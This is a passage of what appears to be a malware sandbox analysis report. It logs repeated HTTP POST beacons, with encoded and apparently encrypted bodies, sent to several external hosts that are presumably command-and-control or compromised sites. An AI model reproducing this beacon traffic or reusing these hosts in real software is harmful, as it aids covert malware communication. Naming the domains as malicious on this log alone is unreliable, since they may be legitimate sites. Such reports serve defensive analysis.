35 67 51 7a 6f 32 69 31 78 4c 4c 42 4a 45 61 6d 4c 73 69 6c 45 6d 6b 71 5a 4e 2b 71 65 30 49 48 41 30 31 45 63 4c 69 45 4e 4b 52 38 39 70 52 42 42 6d 59 46 44 7a 57 6d 55 2b 47 6b 36 55 5a 4c 74 43 77 74 4b 52 6d 45 77 6d 45 73 6a 37 5a 56 2f 7a 6a 2f 49 4d 53 49 55 39 48 43 6c 78 38 2f 45 75 44 36 2b 73 65 2f 37 66 6c 4a 47 7a 6d 77 7a 6f 55 55 77 41 48 48 47 6e 6b 76 30 6a 75 71 50 31 41 45 74 75 73 68 72 67 42 77 51 75 4b 6e 41 72 4b 75 6f 37 48 66 71 72 7a 47 34 4b 32 64 33 44 48 4c 63 32 38 6f 72 63 41 3d 3d Data Ascii: Sfx/hZ+DmgreHood/vw/MSgzZuJ1oDZAQ/1p5j7SU/h/jqElUqCSzwNKnAlefMs4GzeMeTeajih5FqNbL5ie+bdn3mLTSphCgqS4ourWMKvQn6dQHKJrUILybEA4NQOUbEC4Dhjk5VHeRIiIrt6Ej8PZoxtDLDDoGbspO6iIAODHaGyfJgG/ttGuvoa16Gx9ROBRTbL/JfCjj1++mt0m4EjRgLqhHTs4TRe9wbzi9zkK50KKWmyi+rujfcbpSZwuZfThu5fD05/Bz3/a55IiaCzuQjKYePa3ikPTNNtCM2Ss/e33uPF83XquzTro4h5g3TkR8PAOawICk0JmPlo+oCU7F8OKMieOZSxN4QV5gQzo2i1xLLBJEamLsilEmkqZN+qe0IHA01EcLiENKR89pRBBmYFDzWmU+Gk6UZLtCwtKRmEwmEsj7ZV/zj/IMSIU9HClx8/EuD6+se/7flJGzmwzoUUwAHHGnkv0juqP1AEtushrgBwQuKnArKuo7HfqrzG4K2d3DHLc28orcA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 71 30 5a 35 68 4e 70 6f 56 69 63 62 65 4c 48 44 65 4d 66 38 4b 79 55 6f 4a 6e 62 6c 4b 6f 75 71 58 72 75 4f 4d 37 31 36 35 7a 4e 43 49 63 52 78 69 44 67 36 6e 33 6c 4d 45 70 52 38 68 62 69 55 2b 45 42 49 6c 4d 69 42 57 4d 76 55 36 55 6d 61 4c 46 74 30 50 6f 53 66 4f 4d 4a 38 6b 6d 43 4b 54 41 62 41 56 32 4e 48 53 65 4f 58 36 59 78 69 62 61 42 43 64 2b 75 50 6b 66 33 6f 2b 53 53 70 35 64 5a 55 7a 52 54 6e 38 56 35 51 38 62 62 35 39 73 49 32 77 68 2b 65 35 2f 44 37 64 44 57 37 4d 51 55 45 78 35 7a 74 48 48 6e 58 31 37 33 39 4e 71 4e 47 31 74 57 72 54 45 72 4b 5a 34 77 44 59 68 49 46 32 4e 54 51 3d 3d Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jenco.co.ukCache-Control: no-cacheData Raw: 31 2b 78 5a 4b 51 43 32 79 31 54 71 4a 55 33 47 30 7a 46 4c 65 7a 4e 4e 4d 30 66 6f 6a 48 6b 48 4e 4d 32 56 69 61 5a 50 4a 34 45 63 44 69 57 50 77 45 58 51 54 54 35 37 57 37 41 63 51 45 67 64 5a 68 66 4f 56 41 46 6a 31 58 48 4c 7a 74 38 63 31 47 61 31 75 38 42 69 4f 6b 51 49 65 33 6f 50 64 4f 46 31 6b 68 73 35 44 31 63 6b 48 5a 33 57 41 35 34 6c 34 71 75 47 42 32 6e 52 46 66 44 65 50 35 39 50 64 5a 71 66 64 33 42 37 37 6c 38 39 6b 34 4a 38 49 41 7a 65 34 75 56 50 4d 43 38 53 70 6f 58 76 79 30 48 73 31 78 55 4f 54 35 30 63 69 64 61 53 63 31 77 79 41 58 39 52 70 68 73 47 4c 4b 34 6d 71 74 55 79 6a 50 39 68 39 6a 52 33 6b 67 47 6b 37 2f 61 38 38 61 52 33 44 63 7a 33 42 76 46 72 30 7a 77 66 71 6d 55 7a 6e 72 64 4d 43 7a 74 35 45 4f 47 79 56 4b 34 2b 72 6b 4f 62 79 55 38 65 69 39 30 34 41 6d 75 52 47 7a 4d 4b 4e 55 47 46 69 42 53 69 67 42 51 30 55 32 4e 52 69 54 64 4d 75 45 66 74 78 59 69 62 32 79 57 75 44 67 53 47 38 7a 67 73 71 6b 68 61 49 57 4b 47 4e 32 2f 4b 75 72 32 72 7a 4b 56 69 4b 36 68 35 56 38 4e 55 4a 50 66 38 2f 42 33 56 56 49 55 4c 33 79 6f 30 4b 65 74 43 76 6d 68 41 47 35 48 76 4b 7a 77 31 47 4c 4f 38 73 47 4d 34 78 4f 67 32 70 73 74 69 33 33 54 66 78 4a 64 61 61 6e 6b 6c 6f 72 62 61 58 4c 72 61 56 49 64 4d 6b 47 64 76 76 6f 32 6c 32 33 4f 51 42 35 38 68 74 57 45 33 33 32 2f 2f 43 38 4a 36 52 4e 50 76 76 37 5a 73 6f 46 6c 38 6a 72 79 66 34 42 33 6d 55 73 6a 44 6f 77 34 70 2b 77 7a 61 56 4e 64 5a 42 57 36 44 50 41 38 48 4b 62 48 79 54 4e 76 6e 75 78 42 37 73 31 73 2f 79 30 50 77 34 43 31 59 57 48 4a 76 4d 6d 51 6e 57 72 7a 54 71 70 70 4c 57 50 4f 56 6f 69 31 4f 6e 73 78 44 2f 6a 4e 53 76 42 30 57 42 52 30 3d Data Ascii: 1+xZKQC2y1TqJU3G0zFLezNNM0fojHkHNM2ViaZPJ4EcDiWPwEXQTT57W7AcQEgdZhfOVAFj1XHLzt8c1Ga1u8BiOkQIe3oPdOF1khs5D1ckHZ3WA54l4quGB2nRFfDeP59PdZqfd3B77l89k4J8IAze4uVPMC8SpoXvy0Hs1xUOT50cidaSc1wyAX9RphsGLK4mqtUyjP9h9jR3kgGk7/a88aR3Dcz3BvFr0zwfqmUznrdMCzt5EOGyVK4+rkObyU8ei904AmuRGzMKNUGFiBSigBQ0U2NRiTdMuEftxYib2yWuDgSG8zgsqkhaIWKGN2/Kur2rzKViK6h5V8NUJPf8/B3VVIUL3yo0KetCvmhAG5HvKzw1GLO8sGM4xOg2psti33TfxJdaanklorbaXLraVIdMkGdvvo2l23OQB58htWE332//C8J6RNPvv7ZsoFl8jryf4B3mUsjDow4p+wzaVNdZBW6DPA8HKbHyTNvnuxB7s1s/y0Pw4C1YWHJvMmQnWrzTqppLWPOVoi1OnsxD/jNSvB0WBR0=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.quadlock.comCache-Control: no-cacheData Raw: 33 78 63 61 2f 46 62 65 32 6c 52 71 79 33 48 61 4d 59 47 49 64 76 6e 56 67 31 44 32 30 6d 58 79 36 6e 38 32 56 75 73 6b 4b 41 2f 4d 56 45 32 42 2b 6f 78 6d 55 49 33 33 2f 55 61 4a 66 65 76 75 66 4d 43 74 71 72 67 54 56 6a 50 48 54 63 37 75 54 2f 52 6d 4e 2b 57 72 62 30 77 30 69 61 6c 4c 6f 79 2f 42 6f 33 43 4c 42 37 66 71 68 62 43 43 50 75 4d 73 7a 56 75 57 64 6c 56 70 34 76 74 65 75 48 78 50 6c 46 64 68 64 79 36 61 71 4a 36 56 78 4e 50 70 38 6d 59 2f 76 57 76 52 66 55 4a 68 55 44 67 50 48 4d 54 43 4c 77 75 2f 65 6f 2b 55 36 2f 47 6d 49 71 73 77 41 4f 2f 50 50 43 35 56 58 6e 51 58 4e 46 5a 4b 43 65 68 6a 55 6d 55 50 5a 70 6e 42 56 6c 6a 41 5a 79 75 55 6b 4b 2b 57 4f 73 30 36 54 62 47 39 6e 63 6b 66 45 57 52 6d 4f 53 77 69 51 59 4d 6a 65 50 66 53 39 36 7a 75 58 59 41 69 51 41 6f 51 72 30 2f 6b 4c 4b 67 45 33 66 61 65 6c 73 57 37 69 45 56 2f 36 42 46 31 6f 53 68 78 79 54 68 4c 75 58 7a 62 64 4a 55 58 4a 52 6d 61 6c 58 31 6c 33 45 4c 45 4f 31 6b 56 68 42 61 63 54 75 69 64 70 68 6d 67 57 49 6b 31 63 68 4a 7a 42 6c 4c 4a 48 4a 50 31 6d 35 49 62 63 53 6e 64 4a 66 64 69 72 77 39 32 78 42 78 42 42 78 36 39 52 62 6a 6b 53 6d 4e 6f 6d 7a 69 57 63 6b 37 68 57 70 58 65 5a 52 59 76 72 49 7a 45 69 49 6e 43 39 43 4c 35 57 4f 45 5a 41 62 4c 43 49 4d 6e 65 61 59 44 77 4a 46 44 51 43 68 44 57 53 36 36 37 32 52 47 57 48 68 43 6b 49 46 46 36 62 66 63 6c 35 37 73 37 76 67 52 79 5a 5a 4a 2f 59 43 59 36 76 4c 2b 6d 30 47 72 39 46 53 34 57 42 68 79 30 4e 6e 39 72 38 79 6e 4b 6f 55 62 31 61 2b 6c 34 50 41 50 44 32 68 74 52 4e 34 42 77 32 37 48 66 79 50 74 49 75 6c 38 31 6c 4d 6b 4e 47 39 31 49 4b 46 36 35 4e 62 47 37 59 67 3d 3d Data Ascii: 3xca/Fbe2lRqy3HaMYGIdvnVg1D20mXy6n82VuskKA/MVE2B+oxmUI33/UaJfevufMCtqrgTVjPHTc7uT/RmN+Wrb0w0ialLoy/Bo3CLB7fqhbCCPuMszVuWdlVp4vteuHxPlFdhdy6aqJ6VxNPp8mY/vWvRfUJhUDgPHMTCLwu/eo+U6/GmIqswAO/PPC5VXnQXNFZKCehjUmUPZpnBVljAZyuUkK+WOs06TbG9nckfEWRmOSwiQYMjePfS96zuXYAiQAoQr0/kLKgE3faelsW7iEV/6BF1oShxyThLuXzbdJUXJRmalX1l3ELEO1kVhBacTuidphmgWIk1chJzBlLJHJP1m5IbcSndJfdirw92xBxBBx69RbjkSmNomziWck7hWpXeZRYvrIzEiInC9CL5WOEZAbLCIMneaYDwJFDQChDWS6672RGWHhCkIFF6bfcl57s7vgRyZZJ/YCY6vL+m0Gr9FS4WBhy0Nn9r8ynKoUb1a+l4PAPD2htRN4Bw27HfyPtIul81lMkNG91IKF65NbG7Yg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pdqhomes.comCache-Control: no-cacheData Raw: 50 41 4a 37 56 4d 31 73 31 56 52 52 71 2f 2b 71 52 43 65 6b 4e 49 61 71 4a 6a 4d 37 4a 4c 71 78 55 55 72 74 37 6f 53 50 63 77 6f 4f 44 4d 57 59 35 6e 59 79 33 70 38 48 53 54 75 5a 36 72 71 32 70 64 37 47 43 61 54 4b 47 79 4c 7a 61 6f 4b 34 6f 38 61 6b 65 57 49 37 4d 6a 4e 7a 6d 6d 72 70 61 50 77 6f 48 51 44 64 42 4b 47 63 45 4d 32 59 54 39 4f 4d 2f 66 62 55 62 77 6a 6a 6c 67 4b 41 4d 38 41 36 41 71 72 57 56 55 35 63 37 4b 5a 30 4e 69 76 6c 63 53 4d 6b 66 74 36 34 70 62 31 37 4a 66 42 30 42 4a 62 53 52 31 65 79 42 35 41 42 76 47 4c 34 37 4a 5a 45 57 45 6a 7a 79 6f 6b 39 45 35 34 33 4d 32 76 54 4b 45 67 6a 45 41 34 62 58 45 47 48 7a 71 44 30 77 48 55 64 36 47 55 61 44 48 6f 49 70 2b 62 77 49 33 68 4b 57 46 31 4a 76 78 54 30 65 78 4e 47 54 39 31 61 71 32 54 6b 35 67 37 4d 6c 6b 56 50 51 4f 4f 32 36 72 44 75 6b 57 33 69 35 75 59 6b 4b 44 2f 38 6c 47 30 2f 72 32 4e 70 76 4a 37 61 76 4e 49 59 39 30 77 36 6b 70 61 55 6f 46 6f 58 59 73 47 64 2b 37 69 46 73 6d 4a 38 4c 6b 78 69 54 69 6a 52 6a 53 52 6a 38 2f 78 41 7a 42 63 38 63 7a 46 63 4e 6f 48 6e 6b 78 51 42 5a 72 6a 4e 77 6c 33 61 4a 4b 43 30 64 75 5a 7a 35 2f 43 5a 75 58 51 63 69 61 34 74 38 36 56 56 61 56 4f 52 46 64 4f 48 6b 4f 57 76 65 4e 59 62 65 61 4a 54 6f 31 4d 54 79 41 52 6f 57 4e 75 33 64 63 6b 6c 6c 4b 68 68 76 44 63 36 4b 52 61 6c 4e 66 44 4d 50 36 6a 66 62 4f 35 45 75 61 47 4f 34 78 47 46 43 7a 53 2f 52 38 65 35 6b 6c 37 37 4d 45 76 53 35 61 2b 54 34 69 37 77 37 36 75 53 31 52 30 58 73 5a 4a 2b 73 68 63 42 4d 41 75 6f 35 68 66 2b 66 55 34 42 62 42 57 63 55 7a 78 65 63 38 36 36 75 7a 2b 65 64 4d 52 53 47 77 44 32 47 47 6f 55 76 47 66 76 4b 59 77 51 58 68 32 58 2f 49 4c 74 77 46 34 56 53 77 51 6a 49 53 56 50 35 52 44 63 46 5a 61 57 39 79 31 69 63 6e 62 63 4d 48 37 72 50 4a 51 4d 79 4d 54 52 62 56 38 57 57 59 4b 64 Data Ascii: PAJ7VM1s1VRRq/+qRCekNIaqJjM7JLqxUUrt7oSPcwoODMWY5nYy3p8HSTuZ6rq2pd7GCaTKGyLzaoK4o8akeWI7MjNzmmrpaPwoHQDdBKGcEM2YT9OM/fbUbwjjlgKAM8A6AqrWVU5c7KZ0NivlcSMkft64pb17JfB0BJbSR1eyB5ABvGL47JZEWEjzyok9E543M2vTKEgjEA4bXEGHzqD0wHUd6GUaDHoIp+bwI3hKWF1JvxT0exNGT91aq2Tk5g7MlkVPQOO26rDukW3i5uYkKD/8lG0/r2NpvJ7avNIY90w6kpaUoFoXYsGd+7iFsmJ8LkxiTijRjSRj8/xAzBc8czFcNoHnkxQBZrjNwl3aJKC0duZz5/CZuXQcia4t86VVaVORFdOHkOWveNYbeaJTo1MTyARoWNu3dckllKhhvDc6KRalNfDMP6jfbO5EuaGO4xGFCzS/R8e5kl77MEvS5a+T4i7w76uS1R0XsZJ+shcBMAuo5hf+fU4BbBWcUzxec866uz+edMRSGwD2GGoUvGfvKYwQXh2X/ILtwF4VSwQjISVP5RDcFZaW9y1icnbcMH7rPJQMyMTRbV8WWYKd
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.olras.comCache-Control: no-cacheData Raw: 58 46 6b 50 46 32 75 2b 32 31 54 2f 61 2f 6b 39 51 6b 44 70 73 64 52 54 4e 34 6b 78 6b 61 55 38 7a 78 37 56 78 31 4d 4b 35 47 68 4e 2b 57 78 5a 38 6e 71 53 69 44 57 58 39 77 61 4d 77 52 49 44 30 51 38 6d 46 36 51 4d 71 51 53 71 55 72 63 62 32 52 6a 48 54 75 33 59 7a 2f 2b 38 42 4d 63 6b 68 78 4b 6a 37 5a 32 33 62 54 65 37 68 38 4d 73 47 77 30 6f 57 6f 53 2b 78 39 67 76 44 7a 73 37 41 56 6a 2b 4e 51 65 78 34 4e 43 34 75 32 54 6b 77 30 67 54 75 68 79 51 68 4f 42 44 79 53 73 45 55 35 64 52 67 55 4e 2f 42 2b 5a 58 62 75 73 65 68 71 4a 4a 53 35 30 62 6d 4c 48 36 53 57 61 6e 45 78 31 6f 57 55 66 59 35 69 73 41 6e 4d 34 78 55 70 65 34 50 32 52 42 68 45 33 50 41 56 36 34 45 32 5a 63 67 4a 4f 6e 2f 77 72 7a 45 4e 2f 31 70 4d 4b 66 76 2f 6a 36 4b 41 2b 34 53 4f 62 62 55 6a 30 4b 68 33 64 75 65 48 50 45 76 32 79 6b 4e 78 77 4d 4b 32 77 49 4d 45 45 50 70 39 48 73 78 58 4b 30 2f 4d 52 79 48 2b 65 4e 61 72 72 73 42 42 31 4c 2f 45 68 41 41 71 46 66 4a 78 75 36 51 48 61 4a 54 42 77 76 76 31 56 73 79 71 39 58 55 44 6a 75 6f 53 4e 32 59 68 55 4b 51 4f 65 51 39 63 6c 41 4a 6d 47 35 77 45 31 50 4c 54 39 48 33 47 4f 58 45 34 41 6c 64 4c 31 70 48 2f 47 33 45 76 44 56 2b 56 51 63 44 32 7a 64 4d 47 5a 67 64 43 42 68 43 50 31 37 31 48 42 4d 72 72 4d 45 32 5a 45 55 36 48 4e 75 32 59 4a 65 2b 46 67 66 55 45 32 64 52 5a 63 43 48 45 58 6c 56 70 70 77 4c 70 57 2f 6b 65 4a 53 37 62 75 47 65 58 63 4b 71 33 2b 67 56 47 4a 67 37 36 54 35 54 53 77 57 70 76 43 6c 77 50 30 53 4d 77 4d 77 4a 6a 6e 4d 48 6d 38 6f 34 38 61 37 4d 6f 74 4a 6b 69 36 7a 62 48 48 32 2b 7a 6e 66 7a 4b 53 55 6b 38 57 67 35 4d 6c 47 66 73 2f 6b 78 74 2f 66 2f 53 70 6a 5a 69 35 73 68 66 4c 76 79 58 2b 38 45 73 5a 76 Data Ascii: XFkPF2u+21T/a/k9QkDpsdRTN4kxkaU8zx7Vx1MK5GhN+WxZ8nqSiDWX9waMwRID0Q8mF6QMqQSqUrcb2RjHTu3Yz/+8BMckhxKj7Z23bTe7h8MsGw0oWoS+x9gvDzs7AVj+NQex4NC4u2Tkw0gTuhyQhOBDySsEU5dRgUN/B+ZXbusehqJJS50bmLH6SWanEx1oWUfY5isAnM4xUpe4P2RBhE3PAV64E2ZcgJOn/wrzEN/1pMKfv/j6KA+4SObbUj0Kh3dueHPEv2ykNxwMK2wIMEEPp9HsxXK0/MRyH+eNarrsBB1L/EhAAqFfJxu6QHaJTBwvv1Vsyq9XUDjuoSN2YhUKQOeQ9clAJmG5wE1PLT9H3GOXE4AldL1pH/G3EvDV+VQcD2zdMGZgdCBhCP171HBMrrME2ZEU6HNu2YJe+FgfUE2dRZcCHEXlVppwLpW/keJS7buGeXcKq3+gVGJg76T5TSwWpvClwP0SMwMwJjnMHm8o48a7MotJki6zbHH2+znfzKSUk8Wg5MlGfs/kxt/f/SpjZi5shfLvyX+8EsZv
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 71 30 5a 35 68 4e 70 6f 56 69 63 62 65 4c 48 44 65 4d 66 38 4b 79 55 6f 4a 6e 62 6c 4b 6f 75 71 58 72 75 4f 4d 37 31 36 35 7a 4e 43 49 63 52 78 69 44 67 36 6e 33 6c 4d 45 70 52 38 68 62 69 55 2b 45 42 49 6c 4d 69 42 57 4d 76 55 36 55 6d 61 4c 46 74 30 50 6f 53 66 4f 4d 4a 38 6b 6d 43 4b 54 41 62 41 56 32 4e 48 53 65 4f 58 36 59 78 69 62 61 42 43 64 2b 75 50 6b 66 33 6f 2b 53 53 70 35 64 5a 55 7a 52 54 6e 38 56 35 51 38 62 62 35 39 73 49 32 77 68 2b 65 35 2f 44 37 64 44 57 37 4d 51 55 45 78 35 7a 74 48 48 6e 58 31 37 33 39 4e 71 4e 47 31 74 57 72 54 45 72 4b 5a 34 77 44 59 68 49 46 32 4e 54 51 3d 3d Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.alteor.clCache-Control: no-cacheData Raw: 39 75 63 2b 57 68 4a 42 61 31 55 59 54 48 4d 2b 78 57 32 51 71 52 57 55 63 42 42 69 34 75 61 56 5a 73 6a 79 4e 36 64 36 7a 53 39 78 39 35 62 76 51 67 42 65 58 36 6a 33 59 56 6a 55 68 51 52 2b 71 37 65 78 64 35 73 68 59 58 63 39 38 37 31 6e 6b 5a 39 52 62 51 71 41 37 2b 6a 4f 53 31 7a 41 6e 45 2f 7a 6c 4a 45 52 62 58 6c 70 46 65 38 73 79 61 4f 56 34 6a 41 79 4a 77 50 71 4b 34 30 43 66 4d 49 58 33 68 64 61 64 32 4b 5a 44 4b 44 79 41 72 32 69 4f 6a 76 65 45 48 45 4b 41 54 6b 66 4a 58 72 70 38 6d 46 79 50 71 70 70 55 34 4a 39 51 53 72 54 44 67 44 45 50 59 59 47 58 35 63 34 59 66 57 4b 7a 63 34 6a 46 76 62 49 2b 73 61 55 57 64 71 49 42 31 54 37 35 52 42 39 6f 6b 36 52 41 39 6b 66 51 6b 6b 42 34 2f 68 49 34 31 46 2b 61 79 55 56 4f 41 61 42 41 36 43 4e 76 77 52 31 50 55 59 44 32 68 32 70 70 43 47 7a 63 6e 47 4f 54 30 51 42 70 35 43 67 47 44 58 63 6e 63 42 54 64 46 42 73 56 7a 6a 56 36 53 42 46 58 75 37 46 79 2f 79 4d 39 32 73 6b 77 50 6b 54 4f 79 79 35 77 2b 65 79 6d 5a 6c 51 61 67 36 71 45 4e 4c 36 31 66 6a 41 2f 2b 62 64 79 55 67 71 53 2f 49 4e 66 6c 50 59 72 58 47 78 78 46 79 70 77 53 31 57 6e 52 5a 4c 64 61 34 67 71 71 72 4c 44 53 33 57 56 75 43 68 2b 34 35 77 2f 47 51 72 68 56 4e 75 52 68 62 79 66 41 72 51 66 76 57 33 4e 47 7a 2f 76 7a 32 6f 75 55 65 66 6f 35 74 6b 65 39 69 59 33 34 57 37 64 4c 6b 38 4f 4e 58 38 48 7a 5a 6c 49 30 4d 74 58 55 43 7a 77 7a 5a 34 4c 48 32 66 36 6b 7a 39 74 72 37 4b 75 71 54 56 72 47 41 6e 2f 55 4c 70 48 31 37 30 6f 43 5a 70 4e 53 4d 50 51 52 71 58 34 30 38 55 68 58 74 65 6c 70 4f 64 65 6b 30 67 62 53 39 2b 72 51 46 73 62 55 53 55 37 2f 77 32 74 77 67 56 74 59 34 76 36 30 45 76 68 2f 6a 77 71 65 42 43 64 70 77 2f 66 43 79 4a 49 37 72 6b 75 62 76 57 46 76 54 4d 54 39 31 62 4f 50 38 42 6a 59 41 33 79 49 35 48 4e 74 63 3d Data Ascii: 9uc+WhJBa1UYTHM+xW2QqRWUcBBi4uaVZsjyN6d6zS9x95bvQgBeX6j3YVjUhQR+q7exd5shYXc9871nkZ9RbQqA7+jOS1zAnE/zlJERbXlpFe8syaOV4jAyJwPqK40CfMIX3hdad2KZDKDyAr2iOjveEHEKATkfJXrp8mFyPqppU4J9QSrTDgDEPYYGX5c4YfWKzc4jFvbI+saUWdqIB1T75RB9ok6RA9kfQkkB4/hI41F+ayUVOAaBA6CNvwR1PUYD2h2ppCGzcnGOT0QBp5CgGDXcncBTdFBsVzjV6SBFXu7Fy/yM92skwPkTOyy5w+eymZlQag6qENL61fjA/+bdyUgqS/INflPYrXGxxFypwS1WnRZLda4gqqrLDS3WVuCh+45w/GQrhVNuRhbyfArQfvW3NGz/vz2ouUefo5tke9iY34W7dLk8ONX8HzZlI0MtXUCzwzZ4LH2f6kz9tr7KuqTVrGAn/ULpH170oCZpNSMPQRqX408UhXtelpOdek0gbS9+rQFsbUSU7/w2twgVtY4v60Evh/jwqeBCdpw/fCyJI7rkubvWFvTMT91bOP8BjYA3yI5HNtc=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.mqs.com.brCache-Control: no-cacheCookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs; _mcnc=1Data Raw: 65 79 6e 48 59 6a 2f 59 63 31 57 4f 42 34 76 7a 48 67 69 68 32 63 69 4d 53 45 6d 56 49 61 50 50 34 77 4e 2b 42 6c 4e 43 59 32 2b 43 4a 50 31 73 34 74 38 34 38 42 76 66 4c 72 61 68 71 70 4e 64 69 61 4a 6f 79 71 65 79 4b 6c 34 63 79 6e 37 33 46 7a 4c 33 77 2f 53 46 79 33 7a 38 35 37 76 2f 4b 47 79 32 78 31 47 79 6e 42 68 45 6b 66 64 50 37 4d 5a 57 6f 68 67 67 33 55 66 67 39 5a 57 4b 71 61 4d 6f 32 79 68 59 52 55 77 7a 42 50 4c 51 